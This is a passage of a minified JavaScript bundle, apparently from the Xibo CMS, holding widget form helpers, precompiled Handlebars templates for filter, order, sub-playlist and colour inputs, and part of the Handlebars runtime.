currOption=response.data.module.widget.widgetOptions[option];"attrib"===currOption.type&&(widgetOptions[currOption.option]=currOption.value)}dialog.find("form").data("elementOptions",widgetOptions),null!=data.regionWidth&&null!=data.regionHeight&&(dialog.find("form").data("regionWidth",data.regionWidth),dialog.find("form").data("regionHeight",data.regionHeight)),dialog.data("formEditorOnly",!0),self.widgetFormEditAfterOpen(dialog,response.data.module.widget.type)}else{if(response.login)return LoginBox(response.message),!1;null==response.message?SystemMessage(response):SystemMessage(response.message)}return!1},error:function(e){SystemMessage(e.responseText)}}),!1)},this.widgetFormEditAfterOpen=function(e,t){"function"==typeof window[t+"_form_edit_open"]&&window[t+"_form_edit_open"].bind(e)(),null!=e.find("form").data("formStep")&&e.find("form").data("formStep")>1?e.find("button#back").show():e.find("button#back").hide()},this.widgetFormEditBeforeSubmit=function(e,t){"function"==typeof window[t+"_form_edit_submit"]&&window[t+"_form_edit_submit"].bind(e)()},this.widgetFormEditAction=function(e,t,n){var l=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};switch(t){case"save":this.widgetFormEditSubmit(e,n);break;case"back":var a=e.find("form").data("formStep");this.widgetFormRender(l.sourceObj,l.data,a-1);break;case"close":e.modal("hide");break;default:"function"==typeof window[t]&&window[t](e)}},this.widgetFormEditSubmit=function(e,t){var n=this,l=function(){arguments.length>0&&void 0!==arguments[0]&&!arguments[0]?(e.find("#save .saving").remove(),e.find("#save").attr("disabled",null)):(e.find("#save").append('<span class="saving fa fa-cog fa-spin"></span>'),e.find("#save").attr("disabled","disabled"))};l(),this.widgetFormEditBeforeSubmit(e,t);var a=e.find("form");if(a.valid()){var o=a.attr("action");return $.ajax({type:a.attr("method"),url:o,cache:!1,dataType:"json",data:a.serialize(),success:function(e){l(!1),e.success?(""!=e.message&&SystemMessage(e.message,!0),bootbox.hideAll(),XiboRefreshAllGrids(),null!=a.data("nextFormUrl")&&n.widgetFormRender(a.data().nextFormUrl.replace(":id",e.id))):e.login?LoginBox(e.message):SystemMessageInline(e.message,a.closest(".modal"))},error:function(e,t,n){SystemMessage(e.responseText,!1)}}),!1}l(!1)},this.widgetFormRenderButtons=function(e){var t={};for(var n in e)e[n].includes("XiboDialogClose")||e[n].includes(".submit()")||(t[n]={name:n,type:"btn-default",click:e[n]});return t.back={name:editorsTrans.back,type:"btn-default",action:"back"},t.save={name:translations.save,type:"btn-info",action:"save"},t},this.convertLibraryReferences=function(e){return e.replace(/\[[0-9]+]/gi,(function(e){var t=e.replace("]","").replace("[","");return CKEDITOR_DEFAULT_CONFIG.imageDownloadUrl.replace(":id",t)}))},this.revertLibraryReferences=function(e){String.prototype.replaceAll=function(e,t){return this.split(e).join(t)};var t=CKEDITOR_DEFAULT_CONFIG.imageDownloadUrl.split(":id");return(e=e.replaceAll(t[0],"[")).replaceAll(t[1],"]")}};module.exports=new formHelpers},868:function(e,t,n){var l=n(3);e.exports=(l.default||l).template({1:function(e,t,l,a,o,i,r){var s,u,c=null!=t?t:e.nullContext||{},d=e.hooks.helperMissing,p=e.escapeExpression,f=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+p("function"==typeof(u=null!=(u=f(l,"heading")||(null!=t?f(t,"heading"):t))?u:d)?u.call(c,{name:"heading",hash:{},data:o,loc:{start:{line:7,column:31},end:{line:7,column:44}}}):u)+'" '+(null!=(s=function(e){return e&&(e.__esModule?e.default:e)}(n(12)).call(c,null!=t?f(t,"heading"):t,null!=r[1]?f(r[1],"orderClause"):r[1],{name:"eq",hash:{},fn:e.program(2,o,0,i,r),inverse:e.noop,data:o,loc:{start:{line:7,column:46},end:{line:7,column:92}}}))?s:"")+">"+p("function"==typeof(u=null!=(u=f(l,"heading")||(null!=t?f(t,"heading"):t))?u:d)?u.call(c,{name:"heading",hash:{},data:o,loc:{start:{line:7,column:93},end:{line:7,column:106}}}):u)+"</option>\n"},2:function(e,t,n,l,a){return" selected"},4:function(e,t,n,l,a){return"selected"},compiler:[8,">= 4.3.0"],main:function(e,t,n,l,a,o,i){var r,s,u=null!=t?t:e.nullContext||{},c=e.hooks.helperMissing,d=e.escapeExpression,p=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div class="form-inline text-center">\n <label class="form-group">'+d("function"==typeof(s=null!=(s=p(n,"title")||(null!=t?p(t,"title"):t))?s:c)?s.call(u,{name:"title",hash:{},data:a,loc:{start:{line:2,column:30},end:{line:2,column:41}}}):s)+'</label>\n <div class="form-group">\n <select class="form-control" name="orderClause[]">\n <option value=""></option>\n'+(null!=(r=p(n,"each").call(u,null!=t?p(t,"columns"):t,{name:"each",hash:{},fn:e.program(1,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:6,column:12},end:{line:8,column:21}}}))?r:"")+' </select>\n </div>\n <div class="form-group">\n <select class="form-control" name="orderClauseDirection[]">\n <option value="ASC" '+(null!=(r=p(n,"if").call(u,null!=t?p(t,"orderClauseAsc"):t,{name:"if",hash:{},fn:e.program(4,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:13,column:32},end:{line:13,column:69}}}))?r:"")+">"+d("function"==typeof(s=null!=(s=p(n,"ascTitle")||(null!=t?p(t,"ascTitle"):t))?s:c)?s.call(u,{name:"ascTitle",hash:{},data:a,loc:{start:{line:13,column:70},end:{line:13,column:84}}}):s)+'</option>\n <option value="DESC" '+(null!=(r=p(n,"if").call(u,null!=t?p(t,"orderClauseDesc"):t,{name:"if",hash:{},fn:e.program(4,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:14,column:33},end:{line:14,column:71}}}))?r:"")+">"+d("function"==typeof(s=null!=(s=p(n,"descTitle")||(null!=t?p(t,"descTitle"):t))?s:c)?s.call(u,{name:"descTitle",hash:{},data:a,loc:{start:{line:14,column:72},end:{line:14,column:87}}}):s)+'</option>\n </select>\n </div>\n <button class="btn btn-default btn-sm"><i class="fa '+d("function"==typeof(s=null!=(s=p(n,"buttonGlyph")||(null!=t?p(t,"buttonGlyph"):t))?s:c)?s.call(u,{name:"buttonGlyph",hash:{},data:a,loc:{start:{line:17,column:56},end:{line:17,column:73}}}):s)+'"></i></button>\n</div>'},useData:!0,useDepths:!0})},869:function(e,t,n){var l=n(3);function a(e){return e&&(e.__esModule?e.default:e)}e.exports=(l.default||l).template({1:function(e,t,n,l,a){return'class="hidden"'},3:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"id")||(null!=t?m(t,"id"):t))?c:p)?c.call(d,{name:"id",hash:{},data:i,loc:{start:{line:6,column:31},end:{line:6,column:39}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"id"):t,null!=s[1]?m(s[1],"filterClauseOperator"):s[1],{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:6,column:41},end:{line:6,column:90}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"value")||(null!=t?m(t,"value"):t))?c:p)?c.call(d,{name:"value",hash:{},data:i,loc:{start:{line:6,column:91},end:{line:6,column:102}}}):c)+"</option>\n"},4:function(e,t,n,l,a){return"selected"},6:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"heading")||(null!=t?m(t,"heading"):t))?c:p)?c.call(d,{name:"heading",hash:{},data:i,loc:{start:{line:14,column:31},end:{line:14,column:44}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"heading"):t,null!=s[1]?m(s[1],"filterClause"):s[1],{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:14,column:46},end:{line:14,column:92}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"heading")||(null!=t?m(t,"heading"):t))?c:p)?c.call(d,{name:"heading",hash:{},data:i,loc:{start:{line:14,column:93},end:{line:14,column:106}}}):c)+"</option>\n"},8:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"id")||(null!=t?m(t,"id"):t))?c:p)?c.call(d,{name:"id",hash:{},data:i,loc:{start:{line:21,column:27},end:{line:21,column:35}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"id"):t,null!=s[1]?m(s[1],"filterClauseCriteria"):s[1],{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:21,column:37},end:{line:21,column:86}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"value")||(null!=t?m(t,"value"):t))?c:p)?c.call(d,{name:"value",hash:{},data:i,loc:{start:{line:21,column:87},end:{line:21,column:98}}}):c)+"</option>\n"},compiler:[8,">= 4.3.0"],main:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div class="form-inline text-center">\n <label class="form-group">'+f("function"==typeof(c=null!=(c=m(l,"title")||(null!=t?m(t,"title"):t))?c:p)?c.call(d,{name:"title",hash:{},data:i,loc:{start:{line:2,column:30},end:{line:2,column:41}}}):c)+'</label>\n <div class="form-group" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"title"):t,"1",{name:"eq",hash:{},fn:e.program(1,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:3,column:28},end:{line:3,column:66}}}))?u:"")+'>\n <select class="form-control" name="filterClauseOperator[]">\n'+(null!=(u=m(l,"each").call(d,null!=t?m(t,"filterOperatorOptions"):t,{name:"each",hash:{},fn:e.program(3,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:5,column:12},end:{line:7,column:21}}}))?u:"")+' </select>\n </div>\n <div class="form-group">\n <select class="form-control" name="filterClause[]">\n <option value=""></option>\n'+(null!=(u=m(l,"each").call(d,null!=t?m(t,"columns"):t,{name:"each",hash:{},fn:e.program(6,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:13,column:12},end:{line:15,column:21}}}))?u:"")+' </select>\n </div>\n <div class="form-group">\n <select class="form-control" name="filterClauseCriteria[]">\n'+(null!=(u=m(l,"each").call(d,null!=t?m(t,"filterOptions"):t,{name:"each",hash:{},fn:e.program(8,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:20,column:12},end:{line:22,column:21}}}))?u:"")+' </select>\n </div>\n <div class="form-group">\n <input class="form-control" name="filterClauseValue[]" type="text" value="'+f("function"==typeof(c=null!=(c=m(l,"filterClauseValue")||(null!=t?m(t,"filterClauseValue"):t))?c:p)?c.call(d,{name:"filterClauseValue",hash:{},data:i,loc:{start:{line:26,column:82},end:{line:26,column:105}}}):c)+'" />\n </div>\n <button class="btn btn-default btn-sm"><i class="fa '+f("function"==typeof(c=null!=(c=m(l,"buttonGlyph")||(null!=t?m(t,"buttonGlyph"):t))?c:p)?c.call(d,{name:"buttonGlyph",hash:{},data:i,loc:{start:{line:28,column:56},end:{line:28,column:73}}}):c)+'"></i></button>\n</div>'},useData:!0,useDepths:!0})},87:function(e,t,n){"use strict";t.__esModule=!0,t.checkRevision=function(e){var t=e&&e[0]||1,n=o.COMPILER_REVISION;if(!(t>=o.LAST_COMPATIBLE_COMPILER_REVISION&&t<=o.COMPILER_REVISION)){if(t<o.LAST_COMPATIBLE_COMPILER_REVISION){var l=o.REVISION_CHANGES[n],i=o.REVISION_CHANGES[t];throw new a.default("Template was precompiled with an older version of Handlebars than the current runtime. Please update your precompiler to a newer version ("+l+") or downgrade your runtime to an older version ("+i+").")}throw new a.default("Template was precompiled with a newer version of Handlebars than the current runtime. Please update your runtime to a newer version ("+e[1]+").")}},t.template=function(e,t){if(!t)throw new a.default("No environment passed to template");if(!e||!e.main)throw new a.default("Unknown template object: "+typeof e);e.main.decorator=e.main_d,t.VM.checkRevision(e.compiler);var n=e.compiler&&7===e.compiler[0],c={strict:function(e,t,n){if(!(e&&t in e))throw new a.default('"'+t+'" not defined in '+e,{loc:n});return e[t]},lookupProperty:function(e,t){var n=e[t];return null==n?n:Object.prototype.hasOwnProperty.call(e,t)?n:s.resultIsAllowed(n,c.protoAccessControl,t)?n:void 0},lookup:function(e,t){for(var n=e.length,l=0;l<n;l++){if(null!=(e[l]&&c.lookupProperty(e[l],t)))return e[l][t]}},lambda:function(e,t){return"function"==typeof e?e.call(t):e},escapeExpression:l.escapeExpression,invokePartial:function(n,o,i){i.hash&&(o=l.extend({},o,i.hash),i.ids&&(i.ids[0]=!0)),n=t.VM.resolvePartial.call(this,n,o,i);var r=l.extend({},i,{hooks:this.hooks,protoAccessControl:this.protoAccessControl}),s=t.VM.invokePartial.call(this,n,o,r);if(null==s&&t.compile&&(i.partials[i.name]=t.compile(n,e.compilerOptions,t),s=i.partials[i.name](o,r)),null!=s){if(i.indent){for(var u=s.split("\n"),c=0,d=u.length;c<d&&(u[c]||c+1!==d);c++)u[c]=i.indent+u[c];s=u.join("\n")}return s}throw new a.default("The partial "+i.name+" could not be compiled when running in runtime-only mode")},fn:function(t){var n=e[t];return n.decorator=e[t+"_d"],n},programs:[],program:function(e,t,n,l,a){var o=this.programs[e],i=this.fn(e);return t||a||l||n?o=u(this,e,i,t,n,l,a):o||(o=this.programs[e]=u(this,e,i)),o},data:function(e,t){for(;e&&t--;)e=e._parent;return e},mergeIfNeeded:function(e,t){var n=e||t;return e&&t&&e!==t&&(n=l.extend({},t,e)),n},nullContext:Object.seal({}),noop:t.VM.noop,compilerInfo:e.compiler};function p(t){var n=arguments.length<=1||void 0===arguments[1]?{}:arguments[1],l=n.data;p._setup(n),!n.partial&&e.useData&&(l=function(e,t){return t&&"root"in t||((t=t?o.createFrame(t):{}).root=e),t}(t,l));var a=void 0,i=e.useBlockParams?[]:void 0;function r(t){return""+e.main(c,t,c.helpers,c.partials,l,i,a)}return e.useDepths&&(a=n.depths?t!=n.depths[0]?[t].concat(n.depths):n.depths:[t]),(r=d(e.main,r,c,n.depths||[],l,i))(t,n)}return p.isTop=!0,p._setup=function(a){if(a.partial)c.protoAccessControl=a.protoAccessControl,c.helpers=a.helpers,c.partials=a.partials,c.decorators=a.decorators,c.hooks=a.hooks;else{var o=l.extend({},t.helpers,a.helpers);!function(e,t){Object.keys(e).forEach((function(n){var a=e[n];e[n]=function(e,t){var n=t.lookupProperty;return r.wrapHelper(e,(function(e){return l.extend({lookupProperty:n},e)}))}(a,t)}))}(o,c),c.helpers=o,e.usePartial&&(c.partials=c.mergeIfNeeded(a.partials,t.partials)),(e.usePartial||e.useDecorators)&&(c.decorators=l.extend({},t.decorators,a.decorators)),c.hooks={},c.protoAccessControl=s.createProtoAccessControl(a);var u=a.allowCallsToHelperMissing||n;i.moveHelperToHooks(c,"helperMissing",u),i.moveHelperToHooks(c,"blockHelperMissing",u)}},p._child=function(t,n,l,o){if(e.useBlockParams&&!l)throw new a.default("must pass block params");if(e.useDepths&&!o)throw new a.default("must pass parent depths");return u(c,t,e[t],n,0,l,o)},p},t.wrapProgram=u,t.resolvePartial=function(e,t,n){return e?e.call||n.name||(n.name=e,e=n.partials[e]):e="@partial-block"===n.name?n.data["partial-block"]:n.partials[n.name],e},t.invokePartial=function(e,t,n){var i=n.data&&n.data["partial-block"];n.partial=!0,n.ids&&(n.data.contextPath=n.ids[0]||n.data.contextPath);var r=void 0;if(n.fn&&n.fn!==c&&function(){n.data=o.createFrame(n.data);var e=n.fn;r=n.data["partial-block"]=function(t){var n=arguments.length<=1||void 0===arguments[1]?{}:arguments[1];return n.data=o.createFrame(n.data),n.data["partial-block"]=i,e(t,n)},e.partials&&(n.partials=l.extend({},n.partials,e.partials))}(),void 0===e&&r&&(e=r),void 0===e)throw new a.default("The partial "+n.name+" could not be found");if(e instanceof Function)return e(t,n)},t.noop=c;var l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t}(n(8)),a=function(e){return e&&e.__esModule?e:{default:e}}(n(14)),o=n(44),i=n(45),r=n(88),s=n(47);function u(e,t,n,l,a,o,i){function r(t){var a=arguments.length<=1||void 0===arguments[1]?{}:arguments[1],r=i;return!i||t==i[0]||t===e.nullContext&&null===i[0]||(r=[t].concat(i)),n(e,t,e.helpers,e.partials,a.data||l,o&&[a.blockParams].concat(o),r)}return(r=d(n,r,e,i,l,o)).program=t,r.depth=i?i.length:0,r.blockParams=a||0,r}function c(){return""}function d(e,t,n,a,o,i){if(e.decorator){var r={};t=e.decorator(t,r,n,a&&a[0],o,i,a),l.extend(t,r)}return t}},870:function(e,t,n){var l=n(3);function a(e){return e&&(e.__esModule?e.default:e)}e.exports=(l.default||l).template({1:function(e,t,n,l,a,o,i){var r,s=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return null!=(r=s(n,"if").call(null!=t?t:e.nullContext||{},null!=t?s(t,"isPlaylistEditable"):t,{name:"if",hash:{},fn:e.program(2,a,0,o,i),inverse:e.program(6,a,0,o,i),data:a,loc:{start:{line:6,column:12},end:{line:16,column:19}}}))?r:""},2:function(e,t,n,l,a,o,i){var r,s=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <select class="form-control subPlaylistSelect" name="subPlaylistId[]">\n <option value=""></option>\n'+(null!=(r=s(n,"each").call(null!=t?t:e.nullContext||{},null!=t?s(t,"playlists"):t,{name:"each",hash:{},fn:e.program(3,a,0,o,i),inverse:e.noop,data:a,loc:{start:{line:9,column:20},end:{line:11,column:29}}}))?r:"")+" </select>\n"},3:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f=e.escapeExpression,m=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <option value="'+f("function"==typeof(c=null!=(c=m(l,"playlistId")||(null!=t?m(t,"playlistId"):t))?c:p)?c.call(d,{name:"playlistId",hash:{},data:i,loc:{start:{line:10,column:39},end:{line:10,column:55}}}):c)+'" data-tags="'+f("function"==typeof(c=null!=(c=m(l,"tags")||(null!=t?m(t,"tags"):t))?c:p)?c.call(d,{name:"tags",hash:{},data:i,loc:{start:{line:10,column:68},end:{line:10,column:76}}}):c)+'" '+(null!=(u=a(n(12)).call(d,null!=t?m(t,"playlistId"):t,null!=s[1]?m(s[1],"subPlaylistId"):s[1],{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:10,column:78},end:{line:10,column:128}}}))?u:"")+">"+f("function"==typeof(c=null!=(c=m(l,"name")||(null!=t?m(t,"name"):t))?c:p)?c.call(d,{name:"name",hash:{},data:i,loc:{start:{line:10,column:129},end:{line:10,column:139}}}):c)+"</option>\n"},4:function(e,t,n,l,a){return"selected"},6:function(e,t,n,l,a){var o,i=null!=t?t:e.nullContext||{},r=e.hooks.helperMissing,s=e.escapeExpression,u=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <input type="hidden" value="'+s("function"==typeof(o=null!=(o=u(n,"subPlaylistId")||(null!=t?u(t,"subPlaylistId"):t))?o:r)?o.call(i,{name:"subPlaylistId",hash:{},data:a,loc:{start:{line:14,column:44},end:{line:14,column:63}}}):o)+'" name="subPlaylistId[]">\n <span title="'+s("function"==typeof(o=null!=(o=u(n,"noPlaylistsAccessHelpMessage")||(null!=t?u(t,"noPlaylistsAccessHelpMessage"):t))?o:r)?o.call(i,{name:"noPlaylistsAccessHelpMessage",hash:{},data:a,loc:{start:{line:15,column:29},end:{line:15,column:61}}}):o)+'"><i class="fa fa-lock"></i> '+s("function"==typeof(o=null!=(o=u(n,"playlistIdMessage")||(null!=t?u(t,"playlistIdMessage"):t))?o:r)?o.call(i,{name:"playlistIdMessage",hash:{},data:a,loc:{start:{line:15,column:95},end:{line:15,column:116}}}):o)+s("function"==typeof(o=null!=(o=u(n,"subPlaylistId")||(null!=t?u(t,"subPlaylistId"):t))?o:r)?o.call(i,{name:"subPlaylistId",hash:{},data:a,loc:{start:{line:15,column:116},end:{line:15,column:133}}}):o)+"</span>\n"},8:function(e,t,n,l,a){var o,i,r=null!=t?t:e.nullContext||{},s=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <input type="hidden" value="'+e.escapeExpression("function"==typeof(i=null!=(i=s(n,"subPlaylistId")||(null!=t?s(t,"subPlaylistId"):t))?i:e.hooks.helperMissing)?i.call(r,{name:"subPlaylistId",hash:{},data:a,loc:{start:{line:18,column:40},end:{line:18,column:59}}}):i)+'" name="subPlaylistId[]">\n\n'+(null!=(o=s(n,"if").call(r,null!=t?s(t,"subPlaylistId"):t,{name:"if",hash:{},fn:e.program(9,a,0),inverse:e.program(11,a,0),data:a,loc:{start:{line:20,column:12},end:{line:24,column:19}}}))?o:"")},9:function(e,t,n,l,a){var o,i=null!=t?t:e.nullContext||{},r=e.hooks.helperMissing,s=e.escapeExpression,u=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <span title="'+s("function"==typeof(o=null!=(o=u(n,"noPlaylistsAccessHelpMessage")||(null!=t?u(t,"noPlaylistsAccessHelpMessage"):t))?o:r)?o.call(i,{name:"noPlaylistsAccessHelpMessage",hash:{},data:a,loc:{start:{line:21,column:29},end:{line:21,column:61}}}):o)+'"><i class="fa fa-lock"></i> '+s("function"==typeof(o=null!=(o=u(n,"playlistIdMessage")||(null!=t?u(t,"playlistIdMessage"):t))?o:r)?o.call(i,{name:"playlistIdMessage",hash:{},data:a,loc:{start:{line:21,column:95},end:{line:21,column:116}}}):o)+s("function"==typeof(o=null!=(o=u(n,"subPlaylistId")||(null!=t?u(t,"subPlaylistId"):t))?o:r)?o.call(i,{name:"subPlaylistId",hash:{},data:a,loc:{start:{line:21,column:116},end:{line:21,column:133}}}):o)+"</span>\n"},11:function(e,t,n,l,a){var o,i=null!=t?t:e.nullContext||{},r=e.hooks.helperMissing,s=e.escapeExpression,u=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return' <span title="'+s("function"==typeof(o=null!=(o=u(n,"noPlaylistsHelpMessage")||(null!=t?u(t,"noPlaylistsHelpMessage"):t))?o:r)?o.call(i,{name:"noPlaylistsHelpMessage",hash:{},data:a,loc:{start:{line:23,column:29},end:{line:23,column:55}}}):o)+'"><i class="fa fa-close"></i> '+s("function"==typeof(o=null!=(o=u(n,"noPlaylistsMessage")||(null!=t?u(t,"noPlaylistsMessage"):t))?o:r)?o.call(i,{name:"noPlaylistsMessage",hash:{},data:a,loc:{start:{line:23,column:90},end:{line:23,column:112}}}):o)+"</span>\n"},compiler:[8,">= 4.3.0"],main:function(e,t,l,o,i,r,s){var u,c,d=null!=t?t:e.nullContext||{},p=e.hooks.helperMissing,f="function",m=e.escapeExpression,h=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div class="row row-special">\n <label class="col-sm-1 control-label" for="subPlaylistId[]">'+m(typeof(c=null!=(c=h(l,"title")||(null!=t?h(t,"title"):t))?c:p)===f?c.call(d,{name:"title",hash:{},data:i,loc:{start:{line:2,column:64},end:{line:2,column:75}}}):c)+'</label>\n <div class="col-sm-3">\n\n'+(null!=(u=h(l,"if").call(d,null!=t?h(t,"playlists"):t,{name:"if",hash:{},fn:e.program(1,i,0,r,s),inverse:e.program(8,i,0,r,s),data:i,loc:{start:{line:5,column:8},end:{line:25,column:15}}}))?u:"")+' </div>\n <div class="col-sm-2">\n <label for="subPlaylistIdSpots[]">\n <input class="form-control" name="subPlaylistIdSpots[]" type="number" value="'+m(typeof(c=null!=(c=h(l,"subPlaylistIdSpots")||(null!=t?h(t,"subPlaylistIdSpots"):t))?c:p)===f?c.call(d,{name:"subPlaylistIdSpots",hash:{},data:i,loc:{start:{line:29,column:89},end:{line:29,column:113}}}):c)+'" />\n </label>\n </div>\n <div class="col-sm-2">\n <label for="subPlaylistIdSpotLength[]">\n <input class="form-control" name="subPlaylistIdSpotLength[]" type="number" value="'+m(typeof(c=null!=(c=h(l,"subPlaylistIdSpotLength")||(null!=t?h(t,"subPlaylistIdSpotLength"):t))?c:p)===f?c.call(d,{name:"subPlaylistIdSpotLength",hash:{},data:i,loc:{start:{line:34,column:94},end:{line:34,column:123}}}):c)+'" />\n </label>\n </div>\n <div class="col-sm-3">\n <select class="form-control" name="subPlaylistIdSpotFill[]">\n <option value="repeat" '+(null!=(u=a(n(12)).call(d,"repeat",null!=t?h(t,"subPlaylistIdSpotFill"):t,{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:39,column:35},end:{line:39,column:88}}}))?u:"")+' data-template-result="'+m(typeof(c=null!=(c=h(l,"repeatHelpText")||(null!=t?h(t,"repeatHelpText"):t))?c:p)===f?c.call(d,{name:"repeatHelpText",hash:{},data:i,loc:{start:{line:39,column:111},end:{line:39,column:131}}}):c)+'">'+m(typeof(c=null!=(c=h(l,"repeatTitle")||(null!=t?h(t,"repeatTitle"):t))?c:p)===f?c.call(d,{name:"repeatTitle",hash:{},data:i,loc:{start:{line:39,column:133},end:{line:39,column:150}}}):c)+'</option>\n <option value="fill" '+(null!=(u=a(n(12)).call(d,"fill",null!=t?h(t,"subPlaylistIdSpotFill"):t,{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:40,column:33},end:{line:40,column:84}}}))?u:"")+' data-template-result="'+m(typeof(c=null!=(c=h(l,"fillHelpText")||(null!=t?h(t,"fillHelpText"):t))?c:p)===f?c.call(d,{name:"fillHelpText",hash:{},data:i,loc:{start:{line:40,column:107},end:{line:40,column:125}}}):c)+'">'+m(typeof(c=null!=(c=h(l,"fillTitle")||(null!=t?h(t,"fillTitle"):t))?c:p)===f?c.call(d,{name:"fillTitle",hash:{},data:i,loc:{start:{line:40,column:127},end:{line:40,column:142}}}):c)+'</option>\n <option value="pad" '+(null!=(u=a(n(12)).call(d,"pad",null!=t?h(t,"subPlaylistIdSpotFill"):t,{name:"eq",hash:{},fn:e.program(4,i,0,r,s),inverse:e.noop,data:i,loc:{start:{line:41,column:32},end:{line:41,column:82}}}))?u:"")+' data-template-result="'+m(typeof(c=null!=(c=h(l,"padHelpText")||(null!=t?h(t,"padHelpText"):t))?c:p)===f?c.call(d,{name:"padHelpText",hash:{},data:i,loc:{start:{line:41,column:105},end:{line:41,column:122}}}):c)+'">'+m(typeof(c=null!=(c=h(l,"padTitle")||(null!=t?h(t,"padTitle"):t))?c:p)===f?c.call(d,{name:"padTitle",hash:{},data:i,loc:{start:{line:41,column:124},end:{line:41,column:138}}}):c)+'</option>\n </select>\n </div>\n <div class="col-sm-1">\n <button class="btn btn-default btn-sm"><i class="fa '+m(typeof(c=null!=(c=h(l,"buttonGlyph")||(null!=t?h(t,"buttonGlyph"):t))?c:p)===f?c.call(d,{name:"buttonGlyph",hash:{},data:i,loc:{start:{line:45,column:60},end:{line:45,column:77}}}):c)+'"></i></button>\n </div>\n</div>'},useData:!0,useDepths:!0})},871:function(e,t,n){var l=n(3);e.exports=(l.default||l).template({compiler:[8,">= 4.3.0"],main:function(e,t,n,l,a){var o,i=null!=t?t:e.nullContext||{},r=e.hooks.helperMissing,s="function",u=e.escapeExpression,c=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div class="form-group form-colors">\n <label class="col-sm-2 control-label" for="'+u(typeof(o=null!=(o=c(n,"colorId")||(null!=t?c(t,"colorId"):t))?o:r)===s?o.call(i,{name:"colorId",hash:{},data:a,loc:{start:{line:2,column:47},end:{line:2,column:60}}}):o)+'" accesskey="">'+u(typeof(o=null!=(o=c(n,"title")||(null!=t?c(t,"title"):t))?o:r)===s?o.call(i,{name:"title",hash:{},data:a,loc:{start:{line:2,column:75},end:{line:2,column:86}}}):o)+'</label>\n <div class="col-sm-9">\n <input class="form-control" name="color[]" id="'+u(typeof(o=null!=(o=c(n,"colorId")||(null!=t?c(t,"colorId"):t))?o:r)===s?o.call(i,{name:"colorId",hash:{},data:a,loc:{start:{line:4,column:55},end:{line:4,column:68}}}):o)+'" type="text" value="'+u(typeof(o=null!=(o=c(n,"value")||(null!=t?c(t,"value"):t))?o:r)===s?o.call(i,{name:"value",hash:{},data:a,loc:{start:{line:4,column:89},end:{line:4,column:100}}}):o)+'">\n </div>\n <div class="col-sm-1">\n <button class="btn btn-default btn-sm"><i class="fa '+u(typeof(o=null!=(o=c(n,"buttonGlyph")||(null!=t?c(t,"buttonGlyph"):t))?o:r)===s?o.call(i,{name:"buttonGlyph",hash:{},data:a,loc:{start:{line:7,column:60},end:{line:7,column:77}}}):o)+'"></i></button>\n </div>\n</div>'},useData:!0})},872:function(e,t,n){var l=n(3);e.exports=(l.default||l).template({compiler:[8,">= 4.3.0"],main:function(e,t,n,l,a){var o,i=null!=t?t:e.nullContext||{},r=e.hooks.helperMissing,s=e.escapeExpression,u=e.lookupProperty||function(e,t){if(Object.prototype.hasOwnProperty.call(e,t))return e[t]};return'<div 